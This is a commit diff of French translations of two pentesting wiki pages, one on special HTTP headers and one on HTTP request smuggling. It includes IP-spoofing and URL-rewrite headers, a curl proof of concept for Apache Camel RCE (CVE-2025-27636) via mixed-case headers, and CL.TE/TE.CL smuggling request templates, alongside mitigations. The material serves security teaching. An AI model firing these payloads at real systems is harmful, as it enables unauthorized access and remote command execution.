Translated ['src/network-services-pentesting/pentesting-web/special-http

This commit is contained in:
Translator 2025-09-05 11:15:32 +00:00
parent 81ba42372f
commit 2ee66e6d76
3 changed files with 295 additions and 223 deletions

View File

@ -7,9 +7,9 @@
- [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
- [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
## En-têtes pour changer la localisation
## En-têtes à modifier
Réécrire **IP source** :
Réécrire la **source IP** :
- `X-Originating-IP: 127.0.0.1`
- `X-Forwarded-For: 127.0.0.1`
@ -26,19 +26,20 @@ Réécrire **IP source** :
- `True-Client-IP: 127.0.0.1`
- `Cluster-Client-IP: 127.0.0.1`
- `Via: 1.0 fred, 1.1 127.0.0.1`
- `Connection: close, X-Forwarded-For` (Vérifiez les en-têtes hop-by-hop)
- `Connection: close, X-Forwarded-For` (Vérifier les en-têtes hop-by-hop)
Réécrire **localisation** :
Réécrire **l'emplacement** :
- `X-Original-URL: /admin/console`
- `X-Rewrite-URL: /admin/console`
## En-têtes Hop-by-Hop
## En-têtes hop-by-hop
Un en-tête hop-by-hop est un en-tête conçu pour être traité et consommé par le proxy gérant actuellement la demande, contrairement à un en-tête de bout en bout.
Un en-tête hop-by-hop est un en-tête conçu pour être traité et consommé par le proxy qui gère actuellement la requête, contrairement à un en-tête end-to-end.
- `Connection: close, X-Forwarded-For`
{{#ref}}
../../pentesting-web/abusing-hop-by-hop-headers.md
{{#endref}}
@ -48,72 +49,92 @@ Un en-tête hop-by-hop est un en-tête conçu pour être traité et consommé pa
- `Content-Length: 30`
- `Transfer-Encoding: chunked`
{{#ref}}
../../pentesting-web/http-request-smuggling/
{{#endref}}
## L'en-tête Expect
Il est possible que le client envoie l'en-tête `Expect: 100-continue` et que le serveur réponde `HTTP/1.1 100 Continue` pour permettre au client de continuer l'envoi du corps de la requête. Cependant, certains proxies n'aiment pas vraiment cet en-tête.
Résultats intéressants obtenus avec `Expect: 100-continue` :
- Envoyer une requête HEAD avec un corps : le serveur n'a pas tenu compte que les requêtes HEAD n'ont pas de corps et garde la connexion ouverte jusqu'à expiration du timeout.
- D'autres serveurs ont renvoyé des données étranges : des données aléatoires lues depuis le socket dans la réponse, des clés secrètes, ou cela a même permis d'empêcher le front-end de supprimer certaines valeurs d'en-tête.
- Cela a aussi causé une désynchronisation `0.CL` car le backend a répondu avec un 400 au lieu de 100, mais le proxy front-end était prêt à envoyer le corps de la requête initiale ; il l'envoie donc et le backend l'interprète comme une nouvelle requête.
- Envoyer une variation `Expect: y 100-continue` a aussi provoqué la désynchronisation `0.CL`.
- Une erreur similaire où le backend a répondu avec un 404 a généré une désynchronisation `CL.0` parce que la requête malveillante indiquait un `Content-Length`. Le backend envoie donc la requête malveillante + les octets correspondant au `Content-Length` de la requête suivante (d'une victim). Cela désynchronise la file : le backend envoie la réponse 404 pour la requête malveillante + la réponse de la requête de la victim, tandis que le front-end pensait qu'une seule requête avait été envoyée ; la seconde réponse est donc envoyée à une seconde requête victim et la réponse de celle-ci est envoyée à la suivante...
Pour plus d'infos sur HTTP Request Smuggling, consultez :
{{#ref}}
../../pentesting-web/http-request-smuggling/
{{#endref}}
## En-têtes de cache
**En-têtes de cache du serveur** :
**En-têtes de cache côté serveur** :
- **`X-Cache`** dans la réponse peut valoir **`miss`** lorsque la requête n'a pas été mise en cache et **`hit`** lorsqu'elle l'a été
- Comportement similaire pour l'en-tête **`Cf-Cache-Status`**
- **`Cache-Control`** indique si une ressource est mise en cache et quand elle expirera : `Cache-Control: public, max-age=1800`
- **`Vary`** est souvent utilisé dans la réponse pour **indiquer des en-têtes supplémentaires** qui sont traités comme **faisant partie de la clé de cache** même s'ils ne sont normalement pas pris en compte.
- **`Age`** définit le temps en secondes pendant lequel l'objet est resté dans le cache du proxy.
- **`Server-Timing: cdn-cache; desc=HIT`** indique aussi qu'une ressource a été mise en cache
- **`X-Cache`** dans la réponse peut avoir la valeur **`miss`** lorsque la demande n'a pas été mise en cache et la valeur **`hit`** lorsqu'elle est mise en cache
- Comportement similaire dans l'en-tête **`Cf-Cache-Status`**
- **`Cache-Control`** indique si une ressource est mise en cache et quand la ressource sera mise en cache à nouveau : `Cache-Control: public, max-age=1800`
- **`Vary`** est souvent utilisé dans la réponse pour **indiquer des en-têtes supplémentaires** qui sont considérés comme **partie de la clé de cache** même s'ils ne sont normalement pas clés.
- **`Age`** définit le temps en secondes que l'objet a passé dans le cache proxy.
- **`Server-Timing: cdn-cache; desc=HIT`** indique également qu'une ressource a été mise en cache
{{#ref}}
../../pentesting-web/cache-deception/
{{#endref}}
**En-têtes de cache locaux** :
**En-têtes de cache local** :
- `Clear-Site-Data`: En-tête pour indiquer le cache qui doit être supprimé : `Clear-Site-Data: "cache", "cookies"`
- `Expires`: Contient la date/heure à laquelle la réponse doit expirer : `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
- `Clear-Site-Data`: en-tête indiquant le cache à supprimer : `Clear-Site-Data: "cache", "cookies"`
- `Expires`: contient la date/heure à laquelle la réponse expire : `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
- `Pragma: no-cache` identique à `Cache-Control: no-cache`
- `Warning`: L'en-tête HTTP général **`Warning`** contient des informations sur d'éventuels problèmes avec l'état du message. Plus d'un en-tête `Warning` peut apparaître dans une réponse. `Warning: 110 anderson/1.3.37 "Response is stale"`
- `Warning`: l'en-tête HTTP générique `Warning` contient des informations sur d'éventuels problèmes liés au statut du message. Plusieurs en-têtes `Warning` peuvent apparaître dans une réponse. `Warning: 110 anderson/1.3.37 "Response is stale"`
## Conditionnels
## Requêtes conditionnelles
- Les demandes utilisant ces en-têtes : **`If-Modified-Since`** et **`If-Unmodified-Since`** seront répondues avec des données uniquement si l'en-tête de réponse **`Last-Modified`** contient un temps différent.
- Les demandes conditionnelles utilisant **`If-Match`** et **`If-None-Match`** utilisent une valeur Etag afin que le serveur web envoie le contenu de la réponse si les données (Etag) ont changé. L'`Etag` est pris de la réponse HTTP.
- La valeur **Etag** est généralement **calculée** en fonction du **contenu** de la réponse. Par exemple, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` indique que l'`Etag` est le **Sha1** de **37 octets**.
- Les requêtes utilisant les en-têtes **`If-Modified-Since`** et **`If-Unmodified-Since`** recevront des données seulement si l'en-tête de réponse **`Last-Modified`** contient une heure différente.
- Les requêtes conditionnelles utilisant **`If-Match`** et **`If-None-Match`** se basent sur une valeur Etag : le serveur enverra le contenu si l'Etag a changé. L'`Etag` provient de la réponse HTTP.
- La valeur de l'**Etag** est généralement calculée à partir du **contenu** de la réponse. Par exemple, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` indique que l'`Etag` est le **Sha1** de **37 octets**.
## Requêtes de plage
## Requêtes Range
- **`Accept-Ranges`** : Indique si le serveur prend en charge les requêtes de plage, et si oui, dans quelle unité la plage peut être exprimée. `Accept-Ranges: <range-unit>`
- **`Range`** : Indique la partie d'un document que le serveur doit retourner. Par exemple, `Range:80-100` retournera les octets 80 à 100 de la réponse originale avec un code d'état de 206 Partial Content. N'oubliez pas de supprimer l'en-tête `Accept-Encoding` de la demande.
- Cela pourrait être utile pour obtenir une réponse avec du code javascript réfléchi arbitraire qui pourrait autrement être échappé. Mais pour en abuser, vous auriez besoin d'injecter ces en-têtes dans la demande.
- **`If-Range`** : Crée une demande de plage conditionnelle qui n'est remplie que si l'etag ou la date donnée correspond à la ressource distante. Utilisé pour éviter de télécharger deux plages de versions incompatibles de la ressource.
- **`Content-Range`** : Indique où dans un message complet un message partiel appartient.
- **`Accept-Ranges`** : Indique si le serveur supporte les requêtes de plage, et si oui dans quelle unité la plage peut être exprimée. `Accept-Ranges: <range-unit>`
- **`Range`** : Indique la partie d'un document que le serveur doit renvoyer. Par exemple, `Range:80-100` renverra les octets 80 à 100 de la réponse originale avec un code 206 Partial Content. Pensez aussi à retirer l'en-tête `Accept-Encoding` de la requête.
- Cela peut être utile pour obtenir une réponse contenant du code javascript réfléchi arbitraire qui serait autrement échappé. Mais pour abuser de cela, il faut pouvoir injecter ces en-têtes dans la requête.
- **`If-Range`** : Crée une requête de plage conditionnelle qui n'est satisfaite que si l'etag ou la date fournie correspond à la ressource distante. Utilisé pour éviter de télécharger deux plages de versions incompatibles de la ressource.
- **`Content-Range`** : Indique où, dans un corps complet, un message partiel appartient.
## Informations sur le corps du message
- **`Content-Length` :** La taille de la ressource, en nombre décimal d'octets.
- **`Content-Type`** : Indique le type de média de la ressource
- **`Content-Encoding`** : Utilisé pour spécifier l'algorithme de compression.
- **`Content-Language`** : Décrit la ou les langues humaines destinées au public, afin de permettre à un utilisateur de différencier selon la langue préférée de l'utilisateur.
- **`Content-Location`** : Indique un emplacement alternatif pour les données retournées.
- **`Content-Length`:** La taille de la ressource, en nombre décimal d'octets.
- **`Content-Type`**: Indique le type media de la ressource
- **`Content-Encoding`**: Utilisé pour spécifier l'algorithme de compression.
- **`Content-Language`**: Décrit la ou les langues humaines destinées au public, permettant à un utilisateur de différencier selon ses préférences linguistiques.
- **`Content-Location`**: Indique un emplacement alternatif pour les données retournées.
Du point de vue d'un pentest, ces informations sont généralement "inutiles", mais si la ressource est **protégée** par un 401 ou 403 et que vous pouvez trouver un **moyen** d'**obtenir** ces **informations**, cela pourrait être **intéressant.**\
Par exemple, une combinaison de **`Range`** et **`Etag`** dans une demande HEAD peut révéler le contenu de la page via des demandes HEAD :
D'un point de vue pentest, ces informations sont généralement « inutiles », mais si la ressource est **protégée** par un 401 ou 403 et que vous trouvez un **moyen** d'**obtenir** ces **info**, cela peut être **intéressant.**\
Par exemple, une combinaison de `Range` et `Etag` dans une requête HEAD peut leak le contenu de la page via des requêtes HEAD :
- Une demande avec l'en-tête `Range: bytes=20-20` et avec une réponse contenant `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` révèle que le SHA1 de l'octet 20 est `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
- Une requête avec l'en-tête `Range: bytes=20-20` et une réponse contenant `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` leak que le SHA1 de l'octet 20 est `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
## Informations sur le serveur
## Infos serveur
- `Server: Apache/2.4.1 (Unix)`
- `X-Powered-By: PHP/5.3.3`
## Contrôles
- **`Allow`** : Cet en-tête est utilisé pour communiquer les méthodes HTTP qu'une ressource peut gérer. Par exemple, il peut être spécifié comme `Allow: GET, POST, HEAD`, indiquant que la ressource prend en charge ces méthodes.
- **`Expect`** : Utilisé par le client pour transmettre des attentes que le serveur doit satisfaire pour que la demande soit traitée avec succès. Un cas d'utilisation courant implique l'en-tête `Expect: 100-continue`, qui signale que le client a l'intention d'envoyer une grande charge de données. Le client attend une réponse `100 (Continue)` avant de procéder à la transmission. Ce mécanisme aide à optimiser l'utilisation du réseau en attendant la confirmation du serveur.
- **`Allow`**: Cet en-tête sert à communiquer les méthodes HTTP qu'une ressource peut gérer. Par exemple : `Allow: GET, POST, HEAD` indique que la ressource supporte ces méthodes.
- **`Expect`**: Utilisé par le client pour exprimer des attentes que le serveur doit satisfaire pour que la requête soit traitée avec succès. Un cas courant est `Expect: 100-continue`, qui signale que le client a l'intention d'envoyer une grande charge de données et attend une réponse `100 (Continue)` avant de procéder. Ce mécanisme aide à optimiser l'utilisation du réseau en attendant la confirmation du serveur.
## Téléchargements
- L'en-tête **`Content-Disposition`** dans les réponses HTTP indique si un fichier doit être affiché **inline** (dans la page web) ou traité comme une **pièce jointe** (téléchargé). Par exemple :
- L'en-tête **`Content-Disposition`** dans les réponses HTTP indique si un fichier doit être affiché **inline** (dans la page web) ou traité comme une **attachment** (téléchargé). Par exemple:
```
Content-Disposition: attachment; filename="filename.jpg"
```
@ -128,9 +149,9 @@ Cela signifie que le fichier nommé "filename.jpg" est destiné à être téléc
../../pentesting-web/content-security-policy-csp-bypass/
{{#endref}}
### **Types de confiance**
### **Trusted Types**
En appliquant les Types de confiance via CSP, les applications peuvent être protégées contre les attaques XSS DOM. Les Types de confiance garantissent que seuls des objets spécifiquement conçus, conformes aux politiques de sécurité établies, peuvent être utilisés dans des appels d'API web dangereux, sécurisant ainsi le code JavaScript par défaut.
En appliquant Trusted Types via CSP, les applications peuvent être protégées contre les attaques DOM XSS. Trusted Types veillent à ce que seuls des objets spécifiquement conçus, conformes aux politiques de sécurité établies, puissent être utilisés dans des appels d'API web dangereux, sécurisant ainsi le code JavaScript par défaut.
```javascript
// Feature detection
if (window.trustedTypes && trustedTypes.createPolicy) {
@ -149,27 +170,27 @@ el.innerHTML = escaped // Results in safe assignment.
```
### **X-Content-Type-Options**
Cet en-tête empêche le sniffing de type MIME, une pratique qui pourrait conduire à des vulnérabilités XSS. Il garantit que les navigateurs respectent les types MIME spécifiés par le serveur.
Cet en-tête empêche le sniffing des types MIME, une pratique qui pourrait conduire à des vulnérabilités XSS. Il garantit que les navigateurs respectent les types MIME spécifiés par le serveur.
```
X-Content-Type-Options: nosniff
```
### **X-Frame-Options**
Pour lutter contre le clickjacking, cet en-tête restreint la manière dont les documents peuvent être intégrés dans les balises `<frame>`, `<iframe>`, `<embed>` ou `<object>`, recommandant à tous les documents de spécifier explicitement leurs autorisations d'intégration.
Pour lutter contre le clickjacking, cet en-tête restreint la manière dont les documents peuvent être intégrés dans les balises `<frame>`, `<iframe>`, `<embed>` ou `<object>`, en recommandant que tous les documents spécifient explicitement leurs permissions d'intégration.
```
X-Frame-Options: DENY
```
### **Cross-Origin Resource Policy (CORP) et Cross-Origin Resource Sharing (CORS)**
### **Cross-Origin Resource Policy (CORP) and Cross-Origin Resource Sharing (CORS)**
CORP est crucial pour spécifier quelles ressources peuvent être chargées par les sites web, atténuant les fuites inter-sites. CORS, en revanche, permet un mécanisme de partage de ressources inter-origines plus flexible, assouplissant la politique de même origine dans certaines conditions.
CORP est crucial pour spécifier quelles ressources peuvent être chargées par les sites web, atténuant les cross-site leaks. CORS, en revanche, permet un mécanisme de cross-origin resource sharing plus flexible, assouplissant la same-origin policy sous certaines conditions.
```
Cross-Origin-Resource-Policy: same-origin
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true
```
### **Cross-Origin Embedder Policy (COEP) et Cross-Origin Opener Policy (COOP)**
### **Politique d'intégration inter-origines (COEP) et Politique d'ouverture inter-origines (COOP)**
COEP et COOP sont essentiels pour permettre l'isolement entre origines, réduisant considérablement le risque d'attaques similaires à Spectre. Ils contrôlent le chargement des ressources entre origines et l'interaction avec les fenêtres entre origines, respectivement.
COEP et COOP sont essentielles pour permettre l'isolation inter-origines, réduisant significativement le risque d'attaques de type Spectre. Elles contrôlent respectivement le chargement des ressources provenant d'autres origines et l'interaction avec les fenêtres provenant d'autres origines.
```
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin-allow-popups
@ -182,42 +203,42 @@ Strict-Transport-Security: max-age=3153600
```
## Contournement de la casse des noms d'en-tête
HTTP/1.1 définit les noms de champs d'en-tête comme **insensibles à la casse** (RFC 9110 §5.1). Néanmoins, il est très courant de trouver des middleware personnalisés, des filtres de sécurité ou une logique métier qui comparent le nom d'en-tête *littéral* reçu sans normaliser la casse au préalable (par exemple, `header.equals("CamelExecCommandExecutable")`). Si ces vérifications sont effectuées **sensiblement à la casse**, un attaquant peut les contourner simplement en envoyant le même en-tête avec une capitalisation différente.
HTTP/1.1 définit les noms de champs d'en-tête comme **insensibles à la casse** (RFC 9110 §5.1). Néanmoins, il est très courant de trouver des middlewares personnalisés, des filtres de sécurité ou de la logique métier qui comparent le nom d'en-tête *littéral* reçu sans normaliser la casse au préalable (par ex. `header.equals("CamelExecCommandExecutable")`). Si ces vérifications sont effectuées de manière **sensible à la casse**, un attaquant peut les contourner simplement en envoyant le même en-tête avec une capitalisation différente.
Situations typiques où cette erreur apparaît :
Typical situations where this mistake appears:
* Listes d'autorisation/refus personnalisées qui essaient de bloquer les en-têtes internes "dangereux" avant que la requête n'atteigne un composant sensible.
* Implémentations internes de pseudo-en-têtes de reverse proxy (par exemple, la sanitation de `X-Forwarded-For`).
* Frameworks qui exposent des points de terminaison de gestion / débogage et s'appuient sur les noms d'en-tête pour l'authentification ou la sélection de commandes.
* Listes allow/deny personnalisées qui tentent de bloquer des en-têtes internes “dangereux” avant que la requête n'atteigne un composant sensible.
* Implémentations internes de pseudo-en-têtes de reverse-proxy (par ex. `X-Forwarded-For` sanitisation).
* Frameworks qui exposent des endpoints de management / debug et se reposent sur les noms d'en-tête pour l'authentification ou la sélection de commandes.
### Abus du contournement
### Exploiter le contournement
1. Identifier un en-tête qui est filtré ou validé côté serveur (par exemple, en lisant le code source, la documentation ou les messages d'erreur).
2. Envoyer le **même en-tête avec une casse différente** (casse mixte ou majuscule). Parce que les piles HTTP canonisent généralement les en-têtes seulement *après* que le code utilisateur a été exécuté, la vérification vulnérable peut être contournée.
3. Si le composant en aval traite les en-têtes de manière insensible à la casse (la plupart le font), il acceptera la valeur contrôlée par l'attaquant.
1. Identifiez un en-tête qui est filtré ou validé côté serveur (par exemple, en lisant le code source, la documentation, ou les messages d'erreur).
2. Envoyez le **même en-tête avec une casse différente** (mixte ou majuscules). Parce que les stacks HTTP canonisent généralement les en-têtes seulement *après* l'exécution du code utilisateur, la vérification vulnérable peut être ignorée.
3. Si le composant en aval traite les en-têtes de façon insensible à la casse (la plupart le font), il acceptera la valeur contrôlée par l'attaquant.
### Exemple : Apache Camel `exec` RCE (CVE-2025-27636)
Dans les versions vulnérables d'Apache Camel, les routes du *Command Center* essaient de bloquer les requêtes non fiables en supprimant les en-têtes `CamelExecCommandExecutable` et `CamelExecCommandArgs`. La comparaison était effectuée avec `equals()`, donc seuls les noms en minuscules exacts étaient supprimés.
Dans les versions vulnérables d'Apache Camel, les routes du *Command Center* tentent de bloquer les requêtes non fiables en supprimant les en-têtes `CamelExecCommandExecutable` et `CamelExecCommandArgs`. La comparaison était effectuée avec `equals()`, donc seuls les noms avec la casse exacte étaient supprimés.
```bash
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
curl "http://<IP>/command-center" \
-H "CAmelExecCommandExecutable: ls" \
-H "CAmelExecCommandArgs: /"
```
Les en-têtes atteignent le composant `exec` sans filtrage, ce qui entraîne une exécution de commandes à distance avec les privilèges du processus Camel.
Les en-têtes atteignent le composant `exec` sans filtrage, entraînant une exécution de commandes à distance avec les privilèges du processus Camel.
### Détection et atténuation
### Détection & atténuation
* Normalisez tous les noms d'en-tête en une seule casse (généralement en minuscules) **avant** d'effectuer des comparaisons d'autorisation/refus.
* Rejetez les doublons suspects : si à la fois `Header:` et `HeAdEr:` sont présents, considérez cela comme une anomalie.
* Utilisez une liste d'autorisation positive appliquée **après** la canonicalisation.
* Protégez les points de gestion avec une authentification et une segmentation réseau.
* Normalisez tous les noms d'en-tête sur une même casse (généralement en minuscules) **avant** d'effectuer les comparaisons allow/deny.
* Rejetez les doublons suspects : si `Header:` et `HeAdEr:` sont présents simultanément, considérez-le comme une anomalie.
* Utilisez une allow-list positive appliquée **après** la canonicalisation.
* Protégez les endpoints de gestion avec de l'authentification et une segmentation réseau.
## Références
- [CVE-2025-27636 RCE dans Apache Camel via contournement de la casse des en-têtes (blog OffSec)](https://www.offsec.com/blog/cve-2025-27636/)
- [CVE-2025-27636 RCE in Apache Camel via header casing bypass (OffSec blog)](https://www.offsec.com/blog/cve-2025-27636/)
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)
- [https://web.dev/security-headers/](https://web.dev/security-headers/)

View File

@ -5,60 +5,77 @@
## Qu'est-ce que c'est
Cette vulnérabilité survient lorsqu'une **désynchronisation** entre les **front-end proxies** et le serveur **back-end** permet à un **attaquant** d'**envoyer** une requête HTTP qui sera **interprétée** comme une **requête unique** par les **front-end proxies** (load balance/reverse-proxy) et **comme 2 requêtes** par le serveur **back-end**.\
Cette vulnérabilité survient lorsqu'une **désynchronisation** entre les **front-end proxies** et le serveur **back-end** permet à un **attaquant** d'**envoyer** une requête HTTP qui sera **interprétée** comme une **seule requête** par les proxies **front-end** (load balancer/reverse-proxy) et **comme 2 requêtes** par le serveur **back-end**.\
Cela permet à un utilisateur de **modifier la requête suivante** qui arrive au serveur back-end après la sienne.
### Théorie
[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
> Si un message est reçu avec à la fois un champ d'en-tête Transfer-Encoding et un champ d'en-tête Content-Length, ce dernier DOIT être ignoré.
> If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
**Content-Length**
> L'en-tête d'entité Content-Length indique la taille de l'entity-body, en octets, envoyé au destinataire.
> The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
**Transfer-Encoding: chunked**
> L'en-tête Transfer-Encoding spécifie la forme d'encodage utilisée pour transférer en toute sécurité le corps de la charge utile à l'utilisateur.\
> Chunked signifie que de grosses données sont envoyées en une série de chunks.
> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
> Chunked means that large data is sent in a series of chunks
### Réalité
Les **Front-End** (un load-balancer / Reverse Proxy) traitent l'en-tête _**Content-Length**_ ou l'en-tête _**Transfer-Encoding**_ et le serveur **Back-End** traite l'autre, provoquant une **désynchronisation** entre les 2 systèmes.\
Cela peut être très critique car **un attaquant pourra envoyer une seule requête** au reverse proxy qui sera **interprétée** par le serveur **back-end** **comme 2 requêtes différentes**. Le **danger** de cette technique réside dans le fait que le serveur **back-end** **interprétera** la **2ème requête injectée** comme si elle **provenait du client suivant** et la **vraie requête** de ce client fera **partie** de la **requête injectée**.
Le **Front-End** (un load-balancer / Reverse Proxy) peut **parser** l'en-tête _**Content-Length**_ tandis que le serveur **Back-end** **parse** l'autre (_**Transfer-Encoding**_), provoquant une **désynchronisation** entre les deux systèmes.\
Ceci peut être très critique car **un attaquant pourra envoyer une seule requête** au reverse proxy qui sera **interprétée** par le serveur **back-end** **comme 2 requêtes distinctes**. Le **danger** de cette technique vient du fait que le serveur **back-end** interprétera la **2e requête injectée** comme si elle **venait du client suivant**, et la **vraie requête** de ce client fera **partie** de la **requête injectée**.
### Particularités
Rappelez-vous qu'en HTTP **un caractère de nouvelle ligne est composé de 2 octets :**
Rappelez-vous que dans HTTP **un caractère de nouvelle ligne est composé de 2 octets :**
- **Content-Length** : Cet en-tête utilise un **nombre décimal** pour indiquer le **nombre** d'**octets** du **body** de la requête. Le body est censé se terminer au dernier caractère, **une nouvelle ligne n'est pas nécessaire à la fin de la requête**.
- **Transfer-Encoding :** Cet en-tête utilise dans le **body** un **nombre héxadécimal** pour indiquer le **nombre** d'**octets** du **prochain chunk**. Le **chunk** doit **se terminer** par une **nouvelle ligne**, mais cette nouvelle ligne **n'est pas comptée** dans l'indicateur de longueur. Cette méthode de transfert doit se terminer par un **chunk de taille 0 suivi de 2 nouvelles lignes** : `0`
- **Connection** : D'après mon expérience, il est recommandé d'utiliser **`Connection: keep-alive`** sur la première requête du Request Smuggling.
### Visible - Hidden
Le principal problème avec HTTP/1.1 est que toutes les requêtes transitent sur le même socket TCP, donc si une divergence est trouvée entre deux systèmes qui reçoivent les requêtes, il est possible d'envoyer une requête qui sera traitée comme 2 requêtes différentes (ou plus) par le backend final (ou même des systèmes intermédiaires).
[This blog post](https://portswigger.net/research/http1-must-die) propose de nouvelles façons de détecter les attaques de desync qui ne seront pas détectées par les WAFs. Pour cela, il présente les comportements Visible vs Hidden. L'objectif ici est d'essayer de trouver des divergences dans la réponse en utilisant des techniques qui pourraient causer des desyncs sans exploiter quoi que ce soit.
Par exemple, envoyer une requête avec l'en-tête Host normal et un en-tête " host" (avec un espace) : si le backend se plaint de cette requête (peut-être parce que la valeur de " host" est incorrecte), cela peut signifier que le front-end n'a pas pris en compte l'en-tête " host" alors que le backend l'a utilisé, ce qui implique très probablement une désynchronisation entre front-end et backend.
Ceci serait une divergence **Hidden-Visible**.
Si le front-end avait pris en compte l'en-tête " host" mais pas le back-end, cela aurait été une situation **Visible-Hidden**.
Par exemple, cela a permis de découvrir des desyncs entre AWS ALB en front-end et IIS en backend. C'était parce que lorsque "Host: foo/bar" était envoyé, l'ALB retournait `400, Server; awselb/2.0`, mais quand "Host : foo/bar" était envoyé, il retournait `400, Server: Microsoft-HTTPAPI/2.0`, indiquant que le backend envoyait la réponse. C'est une situation Hidden-Visible (H-V).
Notez que cette situation n'est pas corrigée dans AWS, mais elle peut être prévenue en configurant `routing.http.drop_invalid_header_fields.enabled` et `routing.http.desync_mitigation_mode = strictest`.
- **Content-Length** : Cet en-tête utilise un **nombre décimal** pour indiquer le **nombre** d'**octets** du **corps** de la requête. Le corps est censé se terminer au dernier caractère, **une nouvelle ligne n'est pas nécessaire** à la fin de la requête.
- **Transfer-Encoding :** Cet en-tête utilise dans le **corps** un **nombre hexadécimal** pour indiquer le **nombre** d'**octets** du **chunk suivant**. Le **chunk** doit **se terminer** par une **nouvelle ligne** mais cette nouvelle ligne **n'est pas comptée** par l'indicateur de longueur. Cette méthode de transfert doit se terminer par un **chunk de taille 0 suivi de 2 nouvelles lignes** : `0`
- **Connection** : D'après mon expérience il est recommandé d'utiliser **`Connection: keep-alive`** sur la première requête du Request Smuggling.
## Exemples de base
> [!TIP]
> Lorsque vous essayez d'exploiter ceci avec Burp Suite **désactivez `Update Content-Length` et `Normalize HTTP/1 line endings`** dans le repeater car certains gadgets abusent des newlines, des carriage returns et des content-lengths malformés.
> Lorsque vous essayez d'exploiter cela avec Burp Suite, **désactivez `Update Content-Length` et `Normalize HTTP/1 line endings`** dans le repeater car certains gadgets abusent des newlines, des carriage returns et des Content-Length malformés.
Les attaques de HTTP request smuggling sont construites en envoyant des requêtes ambiguës qui exploitent des divergences dans la manière dont les front-end et back-end interprètent les en-têtes `Content-Length` (CL) et `Transfer-Encoding` (TE). Ces attaques peuvent se manifester sous différentes formes, principalement en **CL.TE**, **TE.CL**, et **TE.TE**. Chaque type représente une combinaison unique de la façon dont le front-end et le back-end priorisent ces en-têtes. Les vulnérabilités proviennent du fait que les serveurs traitent la même requête différemment, entraînant des résultats inattendus et potentiellement malveillants.
Les attaques de HTTP request smuggling sont conçues en envoyant des requêtes ambiguës qui exploitent les divergences dans la façon dont les front-end et back-end interprètent les en-têtes `Content-Length` (CL) et `Transfer-Encoding` (TE). Ces attaques peuvent se manifester sous différentes formes, principalement **CL.TE**, **TE.CL**, et **TE.TE**. Chaque type représente une combinaison unique de priorisation de ces en-têtes par le front-end et le back-end. Les vulnérabilités proviennent du fait que les serveurs traitent la même requête différemment, menant à des comportements inattendus et potentiellement malveillants.
### Exemples de base des types de vulnérabilités
### Exemples de base des types de vulnérabilité
![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
> [!TIP]
> À la table précédente vous devriez ajouter la technique TE.0, similaire à la technique CL.0 mais en utilisant Transfer-Encoding.
> À la table précédente, vous devriez ajouter la technique TE.0, similaire à la technique CL.0 mais utilisant Transfer-Encoding.
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
#### CL.TE Vulnerability (Content-Length utilisé par le Front-End, Transfer-Encoding utilisé par le Back-End)
- **Front-End (CL):** Traite la requête en se basant sur l'en-tête `Content-Length`.
- **Back-End (TE):** Traite la requête en se basant sur l'en-tête `Transfer-Encoding`.
- **Front-End (CL) :** Traite la requête en se basant sur l'en-tête `Content-Length`.
- **Back-End (TE) :** Traite la requête en se basant sur l'en-tête `Transfer-Encoding`.
- **Scénario d'attaque :**
- L'attaquant envoie une requête où la valeur de l'en-tête `Content-Length` ne correspond pas à la longueur réelle du contenu.
- Le front-end transfère l'ensemble de la requête au back-end, en se basant sur la valeur de `Content-Length`.
- Le back-end traite la requête comme chunked à cause de l'en-tête `Transfer-Encoding: chunked`, interprétant les données restantes comme une requête distincte et suivante.
- L'attaquant envoie une requête où la valeur de `Content-Length` ne correspond pas à la longueur réelle du contenu.
- Le front-end transfère toute la requête au back-end en se basant sur la valeur de `Content-Length`.
- Le back-end traite la requête comme chunked à cause de `Transfer-Encoding: chunked`, interprétant la donnée restante comme une requête séparée et suivante.
- **Exemple :**
```
@ -74,15 +91,15 @@ GET /404 HTTP/1.1
Foo: x
```
#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
#### TE.CL Vulnerability (Transfer-Encoding utilisé par le Front-End, Content-Length utilisé par le Back-End)
- **Front-End (TE):** Traite la requête en se basant sur l'en-tête `Transfer-Encoding`.
- **Back-End (CL):** Traite la requête en se basant sur l'en-tête `Content-Length`.
- **Front-End (TE) :** Traite la requête en se basant sur l'en-tête `Transfer-Encoding`.
- **Back-End (CL) :** Traite la requête en se basant sur l'en-tête `Content-Length`.
- **Scénario d'attaque :**
- L'attaquant envoie une requête chunked où la taille du chunk (`7b`) et la longueur réelle du contenu (`Content-Length: 4`) ne correspondent pas.
- Le front-end, respectant `Transfer-Encoding`, transfère l'ensemble de la requête au back-end.
- Le back-end, respectant `Content-Length`, traite seulement la première partie de la requête (`7b` octets), laissant le reste comme partie d'une requête suivante non intentionnelle.
